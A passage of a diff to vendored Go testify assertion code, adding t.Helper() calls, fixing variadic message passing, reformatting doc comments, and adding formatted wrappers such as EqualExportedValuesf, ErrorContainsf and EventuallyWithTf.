// All structs enter here. We're not interested in most types.
|
||||
if !canConvert(obj1Value, timeType) {
|
||||
break
|
||||
}
|
||||
|
||||
// time.Time can compared!
|
||||
timeObj1, ok := obj1.(time.Time)
|
||||
if !ok {
|
||||
timeObj1 = obj1Value.Convert(timeType).Interface().(time.Time)
|
||||
}
|
||||
|
||||
timeObj2, ok := obj2.(time.Time)
|
||||
if !ok {
|
||||
timeObj2 = obj2Value.Convert(timeType).Interface().(time.Time)
|
||||
}
|
||||
|
||||
return compare(timeObj1.UnixNano(), timeObj2.UnixNano(), reflect.Int64)
|
||||
}
|
||||
case reflect.Slice:
|
||||
{
|
||||
// We only care about the []byte type.
|
||||
if !canConvert(obj1Value, bytesType) {
|
||||
break
|
||||
}
|
||||
|
||||
// []byte can be compared!
|
||||
bytesObj1, ok := obj1.([]byte)
|
||||
if !ok {
|
||||
bytesObj1 = obj1Value.Convert(bytesType).Interface().([]byte)
|
||||
|
||||
}
|
||||
bytesObj2, ok := obj2.([]byte)
|
||||
if !ok {
|
||||
bytesObj2 = obj2Value.Convert(bytesType).Interface().([]byte)
|
||||
}
|
||||
|
||||
return CompareType(bytes.Compare(bytesObj1, bytesObj2)), true
|
||||
}
|
||||
}
|
||||
|
||||
return compareEqual, false
|
||||
@@ -306,58 +352,76 @@ func compare(obj1, obj2 interface{}, kind reflect.Kind) (CompareType, bool) {
|
||||
|
||||
// Greater asserts that the first element is greater than the second
|
||||
//
|
||||
// assert.Greater(t, 2, 1)
|
||||
// assert.Greater(t, float64(2), float64(1))
|
||||
// assert.Greater(t, "b", "a")
|
||||
// assert.Greater(t, 2, 1)
|
||||
// assert.Greater(t, float64(2), float64(1))
|
||||
// assert.Greater(t, "b", "a")
|
||||
func Greater(t TestingT, e1 interface{}, e2 interface{}, msgAndArgs ...interface{}) bool {
|
||||
return compareTwoValues(t, e1, e2, []CompareType{compareGreater}, "\"%v\" is not greater than \"%v\"", msgAndArgs)
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
}
|
||||
return compareTwoValues(t, e1, e2, []CompareType{compareGreater}, "\"%v\" is not greater than \"%v\"", msgAndArgs...)
|
||||
}
|
||||
|
||||
// GreaterOrEqual asserts that the first element is greater than or equal to the second
|
||||
//
|
||||
// assert.GreaterOrEqual(t, 2, 1)
|
||||
// assert.GreaterOrEqual(t, 2, 2)
|
||||
// assert.GreaterOrEqual(t, "b", "a")
|
||||
// assert.GreaterOrEqual(t, "b", "b")
|
||||
// assert.GreaterOrEqual(t, 2, 1)
|
||||
// assert.GreaterOrEqual(t, 2, 2)
|
||||
// assert.GreaterOrEqual(t, "b", "a")
|
||||
// assert.GreaterOrEqual(t, "b", "b")
|
||||
func GreaterOrEqual(t TestingT, e1 interface{}, e2 interface{}, msgAndArgs ...interface{}) bool {
|
||||
return compareTwoValues(t, e1, e2, []CompareType{compareGreater, compareEqual}, "\"%v\" is not greater than or equal to \"%v\"", msgAndArgs)
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
}
|
||||
return compareTwoValues(t, e1, e2, []CompareType{compareGreater, compareEqual}, "\"%v\" is not greater than or equal to \"%v\"", msgAndArgs...)
|
||||
}
|
||||
|
||||
// Less asserts that the first element is less than the second
|
||||
//
|
||||
// assert.Less(t, 1, 2)
|
||||
// assert.Less(t, float64(1), float64(2))
|
||||
// assert.Less(t, "a", "b")
|
||||
// assert.Less(t, 1, 2)
|
||||
// assert.Less(t, float64(1), float64(2))
|
||||
// assert.Less(t, "a", "b")
|
||||
func Less(t TestingT, e1 interface{}, e2 interface{}, msgAndArgs ...interface{}) bool {
|
||||
return compareTwoValues(t, e1, e2, []CompareType{compareLess}, "\"%v\" is not less than \"%v\"", msgAndArgs)
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
}
|
||||
return compareTwoValues(t, e1, e2, []CompareType{compareLess}, "\"%v\" is not less than \"%v\"", msgAndArgs...)
|
||||
}
|
||||
|
||||
// LessOrEqual asserts that the first element is less than or equal to the second
|
||||
//
|
||||
// assert.LessOrEqual(t, 1, 2)
|
||||
// assert.LessOrEqual(t, 2, 2)
|
||||
// assert.LessOrEqual(t, "a", "b")
|
||||
// assert.LessOrEqual(t, "b", "b")
|
||||
// assert.LessOrEqual(t, 1, 2)
|
||||
// assert.LessOrEqual(t, 2, 2)
|
||||
// assert.LessOrEqual(t, "a", "b")
|
||||
// assert.LessOrEqual(t, "b", "b")
|
||||
func LessOrEqual(t TestingT, e1 interface{}, e2 interface{}, msgAndArgs ...interface{}) bool {
|
||||
return compareTwoValues(t, e1, e2, []CompareType{compareLess, compareEqual}, "\"%v\" is not less than or equal to \"%v\"", msgAndArgs)
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
}
|
||||
return compareTwoValues(t, e1, e2, []CompareType{compareLess, compareEqual}, "\"%v\" is not less than or equal to \"%v\"", msgAndArgs...)
|
||||
}
|
||||
|
||||
// Positive asserts that the specified element is positive
|
||||
//
|
||||
// assert.Positive(t, 1)
|
||||
// assert.Positive(t, 1.23)
|
||||
// assert.Positive(t, 1)
|
||||
// assert.Positive(t, 1.23)
|
||||
func Positive(t TestingT, e interface{}, msgAndArgs ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
}
|
||||
zero := reflect.Zero(reflect.TypeOf(e))
|
||||
return compareTwoValues(t, e, zero.Interface(), []CompareType{compareGreater}, "\"%v\" is not positive", msgAndArgs)
|
||||
return compareTwoValues(t, e, zero.Interface(), []CompareType{compareGreater}, "\"%v\" is not positive", msgAndArgs...)
|
||||
}
|
||||
|
||||
// Negative asserts that the specified element is negative
|
||||
//
|
||||
// assert.Negative(t, -1)
|
||||
// assert.Negative(t, -1.23)
|
||||
// assert.Negative(t, -1)
|
||||
// assert.Negative(t, -1.23)
|
||||
func Negative(t TestingT, e interface{}, msgAndArgs ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
}
|
||||
zero := reflect.Zero(reflect.TypeOf(e))
|
||||
return compareTwoValues(t, e, zero.Interface(), []CompareType{compareLess}, "\"%v\" is not negative", msgAndArgs)
|
||||
return compareTwoValues(t, e, zero.Interface(), []CompareType{compareLess}, "\"%v\" is not negative", msgAndArgs...)
|
||||
}
|
||||
|
||||
func compareTwoValues(t TestingT, e1 interface{}, e2 interface{}, allowedComparesResults []CompareType, failMessage string, msgAndArgs ...interface{}) bool {
|
||||
|
||||
Generated
Vendored
File renamed without changes.
Generated
Vendored
File renamed without changes.
+148
-84
@@ -22,9 +22,9 @@ func Conditionf(t TestingT, comp Comparison, msg string, args ...interface{}) bo
|
||||
// Containsf asserts that the specified string, list(array, slice...) or map contains the
|
||||
// specified substring or element.
|
||||
//
|
||||
// assert.Containsf(t, "Hello World", "World", "error message %s", "formatted")
|
||||
// assert.Containsf(t, ["Hello", "World"], "World", "error message %s", "formatted")
|
||||
// assert.Containsf(t, {"Hello": "World"}, "Hello", "error message %s", "formatted")
|
||||
// assert.Containsf(t, "Hello World", "World", "error message %s", "formatted")
|
||||
// assert.Containsf(t, ["Hello", "World"], "World", "error message %s", "formatted")
|
||||
// assert.Containsf(t, {"Hello": "World"}, "Hello", "error message %s", "formatted")
|
||||
func Containsf(t TestingT, s interface{}, contains interface{}, msg string, args ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
@@ -56,7 +56,7 @@ func ElementsMatchf(t TestingT, listA interface{}, listB interface{}, msg string
|
||||
// Emptyf asserts that the specified object is empty. I.e. nil, "", false, 0 or either
|
||||
// a slice or a channel with len == 0.
|
||||
//
|
||||
// assert.Emptyf(t, obj, "error message %s", "formatted")
|
||||
// assert.Emptyf(t, obj, "error message %s", "formatted")
|
||||
func Emptyf(t TestingT, object interface{}, msg string, args ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
@@ -66,7 +66,7 @@ func Emptyf(t TestingT, object interface{}, msg string, args ...interface{}) boo
|
||||
|
||||
// Equalf asserts that two objects are equal.
|
||||
//
|
||||
// assert.Equalf(t, 123, 123, "error message %s", "formatted")
|
||||
// assert.Equalf(t, 123, 123, "error message %s", "formatted")
|
||||
//
|
||||
// Pointer variable equality is determined based on the equality of the
|
||||
// referenced values (as opposed to the memory addresses). Function equality
|
||||
@@ -81,8 +81,8 @@ func Equalf(t TestingT, expected interface{}, actual interface{}, msg string, ar
|
||||
// EqualErrorf asserts that a function returned an error (i.e. not `nil`)
|
||||
// and that it is equal to the provided error.
|
||||
//
|
||||
// actualObj, err := SomeFunction()
|
||||
// assert.EqualErrorf(t, err, expectedErrorString, "error message %s", "formatted")
|
||||
// actualObj, err := SomeFunction()
|
||||
// assert.EqualErrorf(t, err, expectedErrorString, "error message %s", "formatted")
|
||||
func EqualErrorf(t TestingT, theError error, errString string, msg string, args ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
@@ -90,10 +90,27 @@ func EqualErrorf(t TestingT, theError error, errString string, msg string, args
|
||||
return EqualError(t, theError, errString, append([]interface{}{msg}, args...)...)
|
||||
}
|
||||
|
||||
// EqualExportedValuesf asserts that the types of two objects are equal and their public
|
||||
// fields are also equal. This is useful for comparing structs that have private fields
|
||||
// that could potentially differ.
|
||||
//
|
||||
// type S struct {
|
||||
// Exported int
|
||||
// notExported int
|
||||
// }
|
||||
// assert.EqualExportedValuesf(t, S{1, 2}, S{1, 3}, "error message %s", "formatted") => true
|
||||
// assert.EqualExportedValuesf(t, S{1, 2}, S{2, 3}, "error message %s", "formatted") => false
|
||||
func EqualExportedValuesf(t TestingT, expected interface{}, actual interface{}, msg string, args ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
}
|
||||
return EqualExportedValues(t, expected, actual, append([]interface{}{msg}, args...)...)
|
||||
}
|
||||
|
||||
// EqualValuesf asserts that two objects are equal or convertable to the same types
|
||||
// and equal.
|
||||
//
|
||||
// assert.EqualValuesf(t, uint32(123), int32(123), "error message %s", "formatted")
|
||||
// assert.EqualValuesf(t, uint32(123), int32(123), "error message %s", "formatted")
|
||||
func EqualValuesf(t TestingT, expected interface{}, actual interface{}, msg string, args ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
@@ -103,10 +120,10 @@ func EqualValuesf(t TestingT, expected interface{}, actual interface{}, msg stri
|
||||
|
||||
// Errorf asserts that a function returned an error (i.e. not `nil`).
|
||||
//
|
||||
// actualObj, err := SomeFunction()
|
||||
// if assert.Errorf(t, err, "error message %s", "formatted") {
|
||||
// assert.Equal(t, expectedErrorf, err)
|
||||
// }
|
||||
// actualObj, err := SomeFunction()
|
||||
// if assert.Errorf(t, err, "error message %s", "formatted") {
|
||||
// assert.Equal(t, expectedErrorf, err)
|
||||
// }
|
||||
func Errorf(t TestingT, err error, msg string, args ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
@@ -123,6 +140,18 @@ func ErrorAsf(t TestingT, err error, target interface{}, msg string, args ...int
|
||||
return ErrorAs(t, err, target, append([]interface{}{msg}, args...)...)
|
||||
}
|
||||
|
||||
// ErrorContainsf asserts that a function returned an error (i.e. not `nil`)
|
||||
// and that the error contains the specified substring.
|
||||
//
|
||||
// actualObj, err := SomeFunction()
|
||||
// assert.ErrorContainsf(t, err, expectedErrorSubString, "error message %s", "formatted")
|
||||
func ErrorContainsf(t TestingT, theError error, contains string, msg string, args ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
}
|
||||
return ErrorContains(t, theError, contains, append([]interface{}{msg}, args...)...)
|
||||
}
|
||||
|
||||
// ErrorIsf asserts that at least one of the errors in err's chain matches target.
|
||||
// This is a wrapper for errors.Is.
|
||||
func ErrorIsf(t TestingT, err error, target error, msg string, args ...interface{}) bool {
|
||||
@@ -135,7 +164,7 @@ func ErrorIsf(t TestingT, err error, target error, msg string, args ...interface
|
||||
// Eventuallyf asserts that given condition will be met in waitFor time,
|
||||
// periodically checking target function each tick.
|
||||
//
|
||||
// assert.Eventuallyf(t, func() bool { return true; }, time.Second, 10*time.Millisecond, "error message %s", "formatted")
|
||||
// assert.Eventuallyf(t, func() bool { return true; }, time.Second, 10*time.Millisecond, "error message %s", "formatted")
|
||||
func Eventuallyf(t TestingT, condition func() bool, waitFor time.Duration, tick time.Duration, msg string, args ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
@@ -143,9 +172,34 @@ func Eventuallyf(t TestingT, condition func() bool, waitFor time.Duration, tick
|
||||
return Eventually(t, condition, waitFor, tick, append([]interface{}{msg}, args...)...)
|
||||
}
|
||||
|
||||
// EventuallyWithTf asserts that given condition will be met in waitFor time,
|
||||
// periodically checking target function each tick. In contrast to Eventually,
|
||||
// it supplies a CollectT to the condition function, so that the condition
|
||||
// function can use the CollectT to call other assertions.
|
||||
// The condition is considered "met" if no errors are raised in a tick.
|
||||
// The supplied CollectT collects all errors from one tick (if there are any).
|
||||
// If the condition is not met before waitFor, the collected errors of
|
||||
// the last tick are copied to t.
|
||||
//
|
||||
// externalValue := false
|
||||
// go func() {
|
||||
// time.Sleep(8*time.Second)
|
||||
// externalValue = true
|
||||
// }()
|
||||
// assert.EventuallyWithTf(t, func(c *assert.CollectT, "error message %s", "formatted") {
|
||||
// // add assertions as needed; any assertion failure will fail the current tick
|
||||
// assert.True(c, externalValue, "expected 'externalValue' to be true")
|
||||
// }, 1*time.Second, 10*time.Second, "external state has not changed to 'true'; still false")
|
||||
func EventuallyWithTf(t TestingT, condition func(collect *CollectT), waitFor time.Duration, tick time.Duration, msg string, args ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
}
|
||||
return EventuallyWithT(t, condition, waitFor, tick, append([]interface{}{msg}, args...)...)
|
||||
}
|
||||
|
||||
// Exactlyf asserts that two objects are equal in value and type.
|
||||
//
|
||||
// assert.Exactlyf(t, int32(123), int64(123), "error message %s", "formatted")
|
||||
// assert.Exactlyf(t, int32(123), int64(123), "error message %s", "formatted")
|
||||
func Exactlyf(t TestingT, expected interface{}, actual interface{}, msg string, args ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
@@ -171,7 +225,7 @@ func FailNowf(t TestingT, failureMessage string, msg string, args ...interface{}
|
||||
|
||||
// Falsef asserts that the specified value is false.
|
||||
//
|
||||
// assert.Falsef(t, myBool, "error message %s", "formatted")
|
||||
// assert.Falsef(t, myBool, "error message %s", "formatted")
|
||||
func Falsef(t TestingT, value bool, msg string, args ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
@@ -190,9 +244,9 @@ func FileExistsf(t TestingT, path string, msg string, args ...interface{}) bool
|
||||
|
||||
// Greaterf asserts that the first element is greater than the second
|
||||
//
|
||||
// assert.Greaterf(t, 2, 1, "error message %s", "formatted")
|
||||
// assert.Greaterf(t, float64(2), float64(1), "error message %s", "formatted")
|
||||
// assert.Greaterf(t, "b", "a", "error message %s", "formatted")
|
||||
// assert.Greaterf(t, 2, 1, "error message %s", "formatted")
|
||||
// assert.Greaterf(t, float64(2), float64(1), "error message %s", "formatted")
|
||||
// assert.Greaterf(t, "b", "a", "error message %s", "formatted")
|
||||
func Greaterf(t TestingT, e1 interface{}, e2 interface{}, msg string, args ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
@@ -202,10 +256,10 @@ func Greaterf(t TestingT, e1 interface{}, e2 interface{}, msg string, args ...in
|
||||
|
||||
// GreaterOrEqualf asserts that the first element is greater than or equal to the second
|
||||
//
|
||||
// assert.GreaterOrEqualf(t, 2, 1, "error message %s", "formatted")
|
||||
// assert.GreaterOrEqualf(t, 2, 2, "error message %s", "formatted")
|
||||
// assert.GreaterOrEqualf(t, "b", "a", "error message %s", "formatted")
|
||||
// assert.GreaterOrEqualf(t, "b", "b", "error message %s", "formatted")
|
||||
// assert.GreaterOrEqualf(t, 2, 1, "error message %s", "formatted")
|
||||
// assert.GreaterOrEqualf(t, 2, 2, "error message %s", "formatted")
|
||||
// assert.GreaterOrEqualf(t, "b", "a", "error message %s", "formatted")
|
||||
// assert.GreaterOrEqualf(t, "b", "b", "error message %s", "formatted")
|
||||
func GreaterOrEqualf(t TestingT, e1 interface{}, e2 interface{}, msg string, args ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
@@ -216,7 +270,7 @@ func GreaterOrEqualf(t TestingT, e1 interface{}, e2 interface{}, msg string, arg
|
||||
// HTTPBodyContainsf asserts that a specified handler returns a
|
||||
// body that contains a string.
|
||||
//
|
||||
// assert.HTTPBodyContainsf(t, myHandler, "GET", "www.google.com", nil, "I'm Feeling Lucky", "error message %s", "formatted")
|
||||
// assert.HTTPBodyContainsf(t, myHandler, "GET", "www.google.com", nil, "I'm Feeling Lucky", "error message %s", "formatted")
|
||||
//
|
||||
// Returns whether the assertion was successful (true) or not (false).
|
||||
func HTTPBodyContainsf(t TestingT, handler http.HandlerFunc, method string, url string, values url.Values, str interface{}, msg string, args ...interface{}) bool {
|
||||
@@ -229,7 +283,7 @@ func HTTPBodyContainsf(t TestingT, handler http.HandlerFunc, method string, url
|
||||
// HTTPBodyNotContainsf asserts that a specified handler returns a
|
||||
// body that does not contain a string.
|
||||
//
|
||||
// assert.HTTPBodyNotContainsf(t, myHandler, "GET", "www.google.com", nil, "I'm Feeling Lucky", "error message %s", "formatted")
|
||||
// assert.HTTPBodyNotContainsf(t, myHandler, "GET", "www.google.com", nil, "I'm Feeling Lucky", "error message %s", "formatted")
|
||||
//
|
||||
// Returns whether the assertion was successful (true) or not (false).
|
||||
func HTTPBodyNotContainsf(t TestingT, handler http.HandlerFunc, method string, url string, values url.Values, str interface{}, msg string, args ...interface{}) bool {
|
||||
@@ -241,7 +295,7 @@ func HTTPBodyNotContainsf(t TestingT, handler http.HandlerFunc, method string, u
|
||||
|
||||
// HTTPErrorf asserts that a specified handler returns an error status code.
|
||||
//
|
||||
// assert.HTTPErrorf(t, myHandler, "POST", "/a/b/c", url.Values{"a": []string{"b", "c"}}
|
||||
// assert.HTTPErrorf(t, myHandler, "POST", "/a/b/c", url.Values{"a": []string{"b", "c"}}
|
||||
//
|
||||
// Returns whether the assertion was successful (true) or not (false).
|
||||
func HTTPErrorf(t TestingT, handler http.HandlerFunc, method string, url string, values url.Values, msg string, args ...interface{}) bool {
|
||||
@@ -253,7 +307,7 @@ func HTTPErrorf(t TestingT, handler http.HandlerFunc, method string, url string,
|
||||
|
||||
// HTTPRedirectf asserts that a specified handler returns a redirect status code.
|
||||
//
|
||||
// assert.HTTPRedirectf(t, myHandler, "GET", "/a/b/c", url.Values{"a": []string{"b", "c"}}
|
||||
// assert.HTTPRedirectf(t, myHandler, "GET", "/a/b/c", url.Values{"a": []string{"b", "c"}}
|
||||
//
|
||||
// Returns whether the assertion was successful (true) or not (false).
|
||||
func HTTPRedirectf(t TestingT, handler http.HandlerFunc, method string, url string, values url.Values, msg string, args ...interface{}) bool {
|
||||
@@ -265,7 +319,7 @@ func HTTPRedirectf(t TestingT, handler http.HandlerFunc, method string, url stri
|
||||
|
||||
// HTTPStatusCodef asserts that a specified handler returns a specified status code.
|
||||
//
|
||||
// assert.HTTPStatusCodef(t, myHandler, "GET", "/notImplemented", nil, 501, "error message %s", "formatted")
|
||||
// assert.HTTPStatusCodef(t, myHandler, "GET", "/notImplemented", nil, 501, "error message %s", "formatted")
|
||||
//
|
||||
// Returns whether the assertion was successful (true) or not (false).
|
||||
func HTTPStatusCodef(t TestingT, handler http.HandlerFunc, method string, url string, values url.Values, statuscode int, msg string, args ...interface{}) bool {
|
||||
@@ -277,7 +331,7 @@ func HTTPStatusCodef(t TestingT, handler http.HandlerFunc, method string, url st
|
||||
|
||||
// HTTPSuccessf asserts that a specified handler returns a success status code.
|
||||
//
|
||||
// assert.HTTPSuccessf(t, myHandler, "POST", "http://www.google.com", nil, "error message %s", "formatted")
|
||||
// assert.HTTPSuccessf(t, myHandler, "POST", "http://www.google.com", nil, "error message %s", "formatted")
|
||||
//
|
||||
// Returns whether the assertion was successful (true) or not (false).
|
||||
func HTTPSuccessf(t TestingT, handler http.HandlerFunc, method string, url string, values url.Values, msg string, args ...interface{}) bool {
|
||||
@@ -289,7 +343,7 @@ func HTTPSuccessf(t TestingT, handler http.HandlerFunc, method string, url strin
|
||||
|
||||
// Implementsf asserts that an object is implemented by the specified interface.
|
||||
//
|
||||
// assert.Implementsf(t, (*MyInterface)(nil), new(MyObject), "error message %s", "formatted")
|
||||
// assert.Implementsf(t, (*MyInterface)(nil), new(MyObject), "error message %s", "formatted")
|
||||
func Implementsf(t TestingT, interfaceObject interface{}, object interface{}, msg string, args ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
@@ -299,7 +353,7 @@ func Implementsf(t TestingT, interfaceObject interface{}, object interface{}, ms
|
||||
|
||||
// InDeltaf asserts that the two numerals are within delta of each other.
|
||||
//
|
||||
// assert.InDeltaf(t, math.Pi, 22/7.0, 0.01, "error message %s", "formatted")
|
||||
// assert.InDeltaf(t, math.Pi, 22/7.0, 0.01, "error message %s", "formatted")
|
||||
func InDeltaf(t TestingT, expected interface{}, actual interface{}, delta float64, msg string, args ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
@@ -341,9 +395,9 @@ func InEpsilonSlicef(t TestingT, expected interface{}, actual interface{}, epsil
|
||||
|
||||
// IsDecreasingf asserts that the collection is decreasing
|
||||
//
|
||||
// assert.IsDecreasingf(t, []int{2, 1, 0}, "error message %s", "formatted")
|
||||
// assert.IsDecreasingf(t, []float{2, 1}, "error message %s", "formatted")
|
||||
// assert.IsDecreasingf(t, []string{"b", "a"}, "error message %s", "formatted")
|
||||
// assert.IsDecreasingf(t, []int{2, 1, 0}, "error message %s", "formatted")
|
||||
// assert.IsDecreasingf(t, []float{2, 1}, "error message %s", "formatted")
|
||||
// assert.IsDecreasingf(t, []string{"b", "a"}, "error message %s", "formatted")
|
||||
func IsDecreasingf(t TestingT, object interface{}, msg string, args ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
@@ -353,9 +407,9 @@ func IsDecreasingf(t TestingT, object interface{}, msg string, args ...interface
|
||||
|
||||
// IsIncreasingf asserts that the collection is increasing
|
||||
//
|
||||
// assert.IsIncreasingf(t, []int{1, 2, 3}, "error message %s", "formatted")
|
||||
// assert.IsIncreasingf(t, []float{1, 2}, "error message %s", "formatted")
|
||||
// assert.IsIncreasingf(t, []string{"a", "b"}, "error message %s", "formatted")
|
||||
// assert.IsIncreasingf(t, []int{1, 2, 3}, "error message %s", "formatted")
|
||||
// assert.IsIncreasingf(t, []float{1, 2}, "error message %s", "formatted")
|
||||
// assert.IsIncreasingf(t, []string{"a", "b"}, "error message %s", "formatted")
|
||||
func IsIncreasingf(t TestingT, object interface{}, msg string, args ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
@@ -365,9 +419,9 @@ func IsIncreasingf(t TestingT, object interface{}, msg string, args ...interface
|
||||
|
||||
// IsNonDecreasingf asserts that the collection is not decreasing
|
||||
//
|
||||
// assert.IsNonDecreasingf(t, []int{1, 1, 2}, "error message %s", "formatted")
|
||||
// assert.IsNonDecreasingf(t, []float{1, 2}, "error message %s", "formatted")
|
||||
// assert.IsNonDecreasingf(t, []string{"a", "b"}, "error message %s", "formatted")
|
||||
// assert.IsNonDecreasingf(t, []int{1, 1, 2}, "error message %s", "formatted")
|
||||
// assert.IsNonDecreasingf(t, []float{1, 2}, "error message %s", "formatted")
|
||||
// assert.IsNonDecreasingf(t, []string{"a", "b"}, "error message %s", "formatted")
|
||||
func IsNonDecreasingf(t TestingT, object interface{}, msg string, args ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
@@ -377,9 +431,9 @@ func IsNonDecreasingf(t TestingT, object interface{}, msg string, args ...interf
|
||||
|
||||
// IsNonIncreasingf asserts that the collection is not increasing
|
||||
//
|
||||
// assert.IsNonIncreasingf(t, []int{2, 1, 1}, "error message %s", "formatted")
|
||||
// assert.IsNonIncreasingf(t, []float{2, 1}, "error message %s", "formatted")
|
||||
// assert.IsNonIncreasingf(t, []string{"b", "a"}, "error message %s", "formatted")
|
||||
// assert.IsNonIncreasingf(t, []int{2, 1, 1}, "error message %s", "formatted")
|
||||
// assert.IsNonIncreasingf(t, []float{2, 1}, "error message %s", "formatted")
|
||||
// assert.IsNonIncreasingf(t, []string{"b", "a"}, "error message %s", "formatted")
|
||||
func IsNonIncreasingf(t TestingT, object interface{}, msg string, args ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
@@ -397,7 +451,7 @@ func IsTypef(t TestingT, expectedType interface{}, object interface{}, msg strin
|
||||
|
||||
// JSONEqf asserts that two JSON strings are equivalent.
|
||||
//
|
||||
// assert.JSONEqf(t, `{"hello": "world", "foo": "bar"}`, `{"foo": "bar", "hello": "world"}`, "error message %s", "formatted")
|
||||
// assert.JSONEqf(t, `{"hello": "world", "foo": "bar"}`, `{"foo": "bar", "hello": "world"}`, "error message %s", "formatted")
|
||||
func JSONEqf(t TestingT, expected string, actual string, msg string, args ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
@@ -408,7 +462,7 @@ func JSONEqf(t TestingT, expected string, actual string, msg string, args ...int
|
||||
// Lenf asserts that the specified object has specific length.
|
||||
// Lenf also fails if the object has a type that len() not accept.
|
||||
//
|
||||
// assert.Lenf(t, mySlice, 3, "error message %s", "formatted")
|
||||
// assert.Lenf(t, mySlice, 3, "error message %s", "formatted")
|
||||
func Lenf(t TestingT, object interface{}, length int, msg string, args ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
@@ -418,9 +472,9 @@ func Lenf(t TestingT, object interface{}, length int, msg string, args ...interf
|
||||
|
||||
// Lessf asserts that the first element is less than the second
|
||||
//
|
||||
// assert.Lessf(t, 1, 2, "error message %s", "formatted")
|
||||
// assert.Lessf(t, float64(1), float64(2), "error message %s", "formatted")
|
||||
// assert.Lessf(t, "a", "b", "error message %s", "formatted")
|
||||
// assert.Lessf(t, 1, 2, "error message %s", "formatted")
|
||||
// assert.Lessf(t, float64(1), float64(2), "error message %s", "formatted")
|
||||
// assert.Lessf(t, "a", "b", "error message %s", "formatted")
|
||||
func Lessf(t TestingT, e1 interface{}, e2 interface{}, msg string, args ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
@@ -430,10 +484,10 @@ func Lessf(t TestingT, e1 interface{}, e2 interface{}, msg string, args ...inter
|
||||
|
||||
// LessOrEqualf asserts that the first element is less than or equal to the second
|
||||
//
|
||||
// assert.LessOrEqualf(t, 1, 2, "error message %s", "formatted")
|
||||
// assert.LessOrEqualf(t, 2, 2, "error message %s", "formatted")
|
||||
// assert.LessOrEqualf(t, "a", "b", "error message %s", "formatted")
|
||||
// assert.LessOrEqualf(t, "b", "b", "error message %s", "formatted")
|
||||
// assert.LessOrEqualf(t, 1, 2, "error message %s", "formatted")
|
||||
// assert.LessOrEqualf(t, 2, 2, "error message %s", "formatted")
|
||||
// assert.LessOrEqualf(t, "a", "b", "error message %s", "formatted")
|
||||
// assert.LessOrEqualf(t, "b", "b", "error message %s", "formatted")
|
||||
func LessOrEqualf(t TestingT, e1 interface{}, e2 interface{}, msg string, args ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
@@ -443,8 +497,8 @@ func LessOrEqualf(t TestingT, e1 interface{}, e2 interface{}, msg string, args .
|
||||
|
||||
// Negativef asserts that the specified element is negative
|
||||
//
|
||||
// assert.Negativef(t, -1, "error message %s", "formatted")
|
||||
// assert.Negativef(t, -1.23, "error message %s", "formatted")
|
||||
// assert.Negativef(t, -1, "error message %s", "formatted")
|
||||
// assert.Negativef(t, -1.23, "error message %s", "formatted")
|
||||
func Negativef(t TestingT, e interface{}, msg string, args ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
@@ -455,7 +509,7 @@ func Negativef(t TestingT, e interface{}, msg string, args ...interface{}) bool
|
||||
// Neverf asserts that the given condition doesn't satisfy in waitFor time,
|
||||
// periodically checking the target function each tick.
|
||||
//
|
||||
// assert.Neverf(t, func() bool { return false; }, time.Second, 10*time.Millisecond, "error message %s", "formatted")
|
||||
// assert.Neverf(t, func() bool { return false; }, time.Second, 10*time.Millisecond, "error message %s", "formatted")
|
||||
func Neverf(t TestingT, condition func() bool, waitFor time.Duration, tick time.Duration, msg string, args ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
@@ -465,7 +519,7 @@ func Neverf(t TestingT, condition func() bool, waitFor time.Duration, tick time.
|
||||
|
||||
// Nilf asserts that the specified object is nil.
|
||||
//
|
||||
// assert.Nilf(t, err, "error message %s", "formatted")
|
||||
// assert.Nilf(t, err, "error message %s", "formatted")
|
||||
func Nilf(t TestingT, object interface{}, msg string, args ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
